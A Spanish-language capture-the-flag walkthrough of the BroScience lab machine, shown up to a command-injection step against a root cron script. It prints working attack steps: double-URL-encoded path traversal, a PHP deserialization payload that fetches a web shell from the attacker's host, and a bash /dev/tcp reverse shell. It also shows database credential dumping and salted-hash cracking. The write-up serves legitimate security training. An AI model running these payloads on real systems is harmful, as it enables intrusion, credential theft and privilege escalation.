BroScience
19 minutos de lectura
root
para renovar certificados de OpenSSL y el script presenta una vulnerabilidad de inyección de comandos, lo que conduce a la escalada de privilegios- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.195
- Fecha: 07 / 01 / 2023
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.195 -p 22,80,443
Nmap scan report for 10.10.11.195
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|_ 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 103.45 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS).
Enumeración
Si vamos a http://10.10.11.195
, se nos redirige a https://broscience.htb
. Después de configurar el dominio en /etc/hosts
, veremos esta página web:
Muestra una lista de ejercicios de gimnasio. Podemos pinchar en alguno de ellos y ver que hay usuarios que publican comentarios:
También hay un formulario de inicio de sesión:
Y también un formulario de registro:
Pero si intentamos registrarnos, nuestra cuenta no será activada porque no tenemos el código de activación:
Hay una manera de enumerar usuarios en /user.php?id=
. Nuestro nuevo usuario tiene ID 7
:
Apliquemos fuzzing para enumerar más rutas del sitio web:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u https://broscience.htb/FUZZ -r -e .php
index.php [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 107ms]
images [Status: 200, Size: 2456, Words: 127, Lines: 24, Duration: 80ms]
login.php [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 112ms]
register.php [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 101ms]
user.php [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 68ms]
comment.php [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 88ms]
includes [Status: 200, Size: 1753, Words: 115, Lines: 21, Duration: 149ms]
manual [Status: 200, Size: 676, Words: 15, Lines: 14, Duration: 307ms]
javascript [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 327ms]
logout.php [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 85ms]
styles [Status: 200, Size: 1134, Words: 74, Lines: 18, Duration: 52ms]
activate.php [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 381ms]
exercise.php [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 403ms]
.php [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 102ms]
[Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 224ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 77ms]
Si vamos a /includes
, veremos algunos archivos PHP (el listado de directorios está habilitado), pero el código PHP no se muestra:
Si echamos un vistazo al código fuente HTML, notaremos algo extraño en la forma en que se cargan las imágenes:
Ese parámetro llamado path
es sospechoso… Probablemente sea vulnerable a algún tipo de lectura local de archivos o vulnerabilidad de inclusión de archivos locales.
Acceso a la máquina
Si probamos un ataque de navegación de directorios básico, el servidor nos caza:
Incluso con codificación URL:
Sin embargo, usando doble codificación URL, el servidor ya no se queja:
Entonces ahora podemos leer archivos del servidor. Como el código PHP no se ejecuta, estamos ante una vulnerabilidad local de lectura de archivos (Local File Read).
Análisis de código fuente
Esto es include/img.php
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/includes/img.php'
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
Aquí vemos que no se permiten algunas palabras, pero el uso de urldecode
nos permite codificar la ruta en doble codificación URL y evitar ese filtro. Esto es /etc/passwd
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc%252fpasswd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
Para activar nuestra cuenta, podemos echar un vistazo a activate.php
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/activate.php'
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
if (isset($_GET['code'])) {
// Check if code is formatted correctly (regex)
if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
// Check for code in database
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res = pg_execute($db_conn, "check_code_query", array($_GET['code']));
if (pg_num_rows($res) == 1) {
// Check if account already activated
$row = pg_fetch_row($res);
if (!(bool)$row[1]) {
// Activate account
$res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res = pg_execute($db_conn, "activate_account_query", array($row[0]));
$alert = "Account activated!";
$alert_type = "success";
} else {
$alert = 'Account already activated.';
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Invalid activation code.";
}
} else {
$alert = "Missing activation code.";
}
?>
<html>
<head>
<title>BroScience : Activate account</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
</div>
</body>
</html>
Activando la cuenta
Parece que necesitamos usar un parámetro llamado code
y agregar un código que coincida con la RegEx /^[A-Z0-9]{32}$/
y con el código guardado en la base de datos. Si miramos register.php
podemos ver cómo se genera este código:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/register.php'
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
?>
<html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
Está llamando a generate_activation_code
, que es una función definida en includes/utils.php
:
$ curl -k 'https://broscience.htb/includes/img.php?path=%252e%252e/includes/utils.php'
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
$to = (($to === null) ? (time()) : ($to));
$to = ((is_int($to)) ? ($to) : (strtotime($to)));
$from = ((is_int($from)) ? ($from) : (strtotime($from)));
$units = array
(
"year" => 29030400, // seconds in a year (12 months)
"month" => 2419200, // seconds in a month (4 weeks)
"week" => 604800, // seconds in a week (7 days)
"day" => 86400, // seconds in a day (24 hours)
"hour" => 3600, // seconds in an hour (60 minutes)
"minute" => 60, // seconds in a minute (60 seconds)
"second" => 1 // 1 second
);
$diff = abs($from - $to);
if ($diff < 1) {
return "Just now";
}
$suffix = (($from > $to) ? ("from now") : ("ago"));
$unitCount = 0;
$output = "";
foreach($units as $unit => $mult)
if($diff >= $mult && $unitCount < 1) {
$unitCount += 1;
// $and = (($mult != 1) ? ("") : ("and "));
$and = "";
$output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
$diff -= intval($diff / $mult) * $mult;
}
$output .= " ".$suffix;
$output = substr($output, strlen(", "));
return $output;
}
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
Este script PHP parece ser importante. Por el momento, centrémonos en generate_activation_code
:
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
La forma en la que se genera es usando un generador de números pseudo-aleatorios (PRNG) inicializado con una semilla basada en tiempo y usando un hash MD5. Podemos usar la misma función en el REPL de PHP mientras creamos una nueva cuenta y probar algunos de los códigos hasta que uno funcione:
$ php -a
Interactive shell
php > function generate_activation_code() {
php { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
php { srand(time());
php { $activation_code = "";
php { for ($i = 0; $i < 32; $i++) {
php { $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
php { }
php { return $activation_code;
php { }
php >
php > echo generate_activation_code();
4pcKTmODxm1XJBzpYBVuZzatVXgNoRuN
php > echo generate_activation_code();
hGSR71WVrYAzTo4g6akXhnfQ3OZVehpz
php > echo generate_activation_code();
aVOBsUeVFLowCHeDPxOHndEP2qkz2AuU
Y así podemos activar nuestra cuenta:
Si volvemos a iniciar sesión, podemos decidir establecer un tema claro o un tema oscuro:
Ataque de deserialización
Y se gestiona usando una cookie llamada user-prefs
, que contiene datos codificados en Base64:
$ echo Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ== | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}
Lo anterior es un objeto serializado en PHP, específicamente, un objeto de clase UserPrefs
:
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
Hay una función llamada get_theme
que coge la cookie user-prefs
y usa unserialize
, ocasionando una vulnerabilidad de deserialización insegura:
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
El código anterior no es seguro porque podemos serializar cualquier objeto y se deserializará sin validación. Por ejemplo, echemos un vistazo a estas clases:
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
Si creamos una instancia de AvatarInterface
, cuando se llama a __wakeup
se crea una nueva instancia de Avatar
y se ejecuta su método save
. Este método nos permite escribir en cualquier archivo (si www-data
tiene suficientes permisos). Para hacerlo, en $imgPath
debemos poner la ruta al archivo donde queremos escribir, y en $tmp
podemos poner una URL donde estará el contenido esperando.
Si escribimos un script PHP llamado cmd.php
, podremos obtener ejecución remota de comandos (RCE):
$ cat > payload
<?php system($_GET['c']); ?>
^C
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
php > class Avatar {
php { public $imgPath;
php {
php { public function __construct($imgPath) {
php { $this->imgPath = $imgPath;
php { }
php {
php { public function save($tmp) {
php { $f = fopen($this->imgPath, "w");
php { fwrite($f, file_get_contents($tmp));
php { fclose($f);
php { }
php { }
php >
php > class AvatarInterface {
php { public $tmp;
php { public $imgPath;
php {
php { public function __wakeup() {
php { $a = new Avatar($this->imgPath);
php { $a->save($this->tmp);
php { }
php { }
php >
php > $ai = new AvatarInterface();
php > $ai->tmp = 'http://10.10.17.44/payload';
php > $ai->imgPath = '/var/www/html/cmd.php';
php > echo serialize($ai);
O:15:"AvatarInterface":2:{s:3:"tmp";s:26:"http://10.10.17.44/payload";s:7:"imgPath";s:21:"/var/www/html/cmd.php";}
php > echo base64_encode(serialize($ai));
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNjoiaHR0cDovLzEwLjEwLjE3LjQ0L3BheWxvYWQiO3M6NzoiaW1nUGF0aCI7czoyMToiL3Zhci93d3cvaHRtbC9jbWQucGhwIjt9
Ahora, ingresamos el payload codificado en Base64 en la cookie user-prefs
:
Y si todo funciona, el servidor deserializará el payload, creará un objeto AvatarInterface
con atributos maliciosos, hará una petición a nuestro servidor HTTP de Python y escribirá el código PHP en /var/www/html/cmd.php
. Ahora tenemos un shell en la web:
Entonces, obtengamos una reverse shell en el sistema:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl -k 'https://broscience.htb/cmd.php?c=echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash'
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.195.
Ncat: Connection from 10.10.11.195:52948.
bash: cannot set terminal process group (1247): Inappropriate ioctl for device
bash: no job control in this shell
www-data@broscience:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@broscience:/var/www/html$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@broscience:/var/www/html$ export TERM=xterm
www-data@broscience:/var/www/html$ export SHELL=bash
www-data@broscience:/var/www/html$ stty rows 50 columns 158
Enumeración del sistema
Hay un usuario de sistema llamado bill
:
www-data@broscience:/var/www/html$ ls /home
bill
En el directorio raíz del servidor web, podemos encontrar credenciales para la base de datos:
www-data@broscience:/var/www/html$ cat includes/db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
Podemos conectarnos a la base de datos PostgreSQL y encontrar hashes de contraseñas:
www-data@broscience:/var/www/html$ cd /
www-data@broscience:/$ psql -d broscience -U dbuser -W
Password:
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
broscience=> \d
List of relations
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
(6 rows)
broscience=> select * from users;
id | username | password | email | activation_code | is_activated | is_admin | date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05
2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04
3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04
4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04
5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04
(5 rows)
Desafortunadamente, ninguno de ellos se encuentra en crackstation.net:
El problema es que los hashes tienen sal, que es $db_salt = NaCl";
(aparece en includes/db_connect.php
):
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
Para descifrar algunos hashes, podemos usar rockyou.txt
con un ataque de fuerza bruta en PHP:
$ cd $WORDLISTS
$ php -a
Interactive shell
php > $db_salt = 'NaCl';
php >
php > $hashes = array(
php ( '15657792073e8a843d4f91fc403454e1',
php ( '13edad4932da9dbb57d9cd15b66ed104',
php ( 'bd3dad50e2d578ecba87d5fa15ca5f85',
php ( 'a7eed23a7be6fe0d765197b1027453fe',
php ( '5d15340bded5b9395d5d14b9c21bc82b',
php ( );
php >
php > if ($file = fopen('rockyou.txt', 'r')) {
php { while (!feof($file)) {
php { $password = fgets($file);
php {
php { foreach ($hashes as $hash) {
php { if (md5($db_salt . trim($password)) === $hash) {
php { echo $hash . ' -> ' . $password;
php { break;
php { }
php { }
php { }
php { }
13edad4932da9dbb57d9cd15b66ed104 -> iluvhorsesandgym
5d15340bded5b9395d5d14b9c21bc82b -> Aaronthehottest
bd3dad50e2d578ecba87d5fa15ca5f85 -> 2applesplus2apples
Allí tenemos algunas contraseñas en texto claro. La contraseña para bill
es iluvhorsesandgym
, que se puede usar para acceder a través de SSH:
$ ssh bill@10.10.11.195
bill@10.10.11.195's password:
bill@broscience:~$ cat user.txt
90ec21d6537e7cad84377c9c6b4b51c6
Escalada de privilegios
En /opt
podemos encontrar un script en Bash para renovar certificados de OpenSSL:
bill@broscience:/tmp$ ls -l /opt
total 4
-rwxr-xr-x 1 root root 1806 Jul 14 2022 renew_cert.sh
bill@broscience:/tmp$ cat /opt/renew_cert.sh
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
fi
Si ejecutamos pspy
, veremos que el script anterior lo ejecuta root
de manera periódica sobre /home/bill/Certs/broscience.crt
:
bill@broscience:/tmp$ wget -q 10.10.17.44/pspy64s
bill@broscience:/tmp$ chmod +x pspy64s
bill@broscience:/tmp$ ./pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
...
CMD: UID=0 PID=64575 | /usr/sbin/cron -f
CMD: UID=0 PID=64580 | /bin/bash /root/cron.sh
CMD: UID=0 PID=64579 | /bin/bash /root/webappreset.sh
CMD: UID=0 PID=64578 | /bin/sh -c /root/cron.sh
CMD: UID=0 PID=64577 | /bin/sh -c /root/webappreset.sh
CMD: UID=0 PID=64582 | /bin/bash /root/cron.sh
CMD: UID=0 PID=64581 | /usr/bin/rm -rf /var/www/html
CMD: UID=0 PID=64583 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
CMD: UID=0 PID=64589 | /usr/sbin/apache2 -k start
...
Inyección de comandos
Hay una vulnerabilidad de inyección de comandos en el script anterior:
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
Si entramos `whoami`
como el campo Common Name del certificado, la salida del comando se utilizará para establecer el nombre del archivo del certificado. Por ejemplo:
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out Certs/broscience.crt -days 1
Generating a RSA private key
.............................++++
...........................................................................................................................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:`whoami`
Email Address []:
bill@broscience:~$ /opt/renew_cert.sh Certs/broscience.crt
C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = `whoami`
Country => AU
State => Some-State
Locality =>
Org Name => Internet Widgits Pty Ltd
Org Unit =>
Common Name => `whoami`
Email =>
Generating certificate...
